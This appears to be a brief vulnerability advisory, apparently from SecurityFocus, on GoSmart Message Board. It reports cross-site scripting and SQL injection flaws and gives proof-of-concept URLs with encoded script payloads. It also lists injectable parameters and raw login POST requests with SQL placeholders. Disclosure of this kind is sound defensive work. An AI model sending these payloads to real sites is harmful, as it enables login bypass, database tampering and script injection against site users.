source: https://www.securityfocus.com/bid/11361/info GoSmart Message Board is reported prone to multiple input validation vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting and SQL injection attacks. The cause of these issue is insufficient sanitization of user-supplied data. Cross-site scripting: /messageboard/Forum.asp?QuestionNumber=1&Find=1&Category=%22%3E%3Cscript %3Ealert%28%29%3C%2Fscript%3E%3C%22 /messageboard/ReplyToQuestion.asp?MainMessageID=%22%3E%3Cscript%3Ealert% 28%29%3C%2Fscript%3E%3C%22 SQL injection: messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1&Category=1 messageboard/Forum.asp?Username=&Category=[SQL CODE HERE] messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1 messageboard/Forum.asp?Category=[SQL CODE HERE] POST /messageboard/Login_Exec.asp HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 29 Username=[SQL CODE HERE]&Password=1&Login=1 POST /messageboard/Login_Exec.asp HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 29 Username=1&Password=[SQL CODE HERE]&Login=1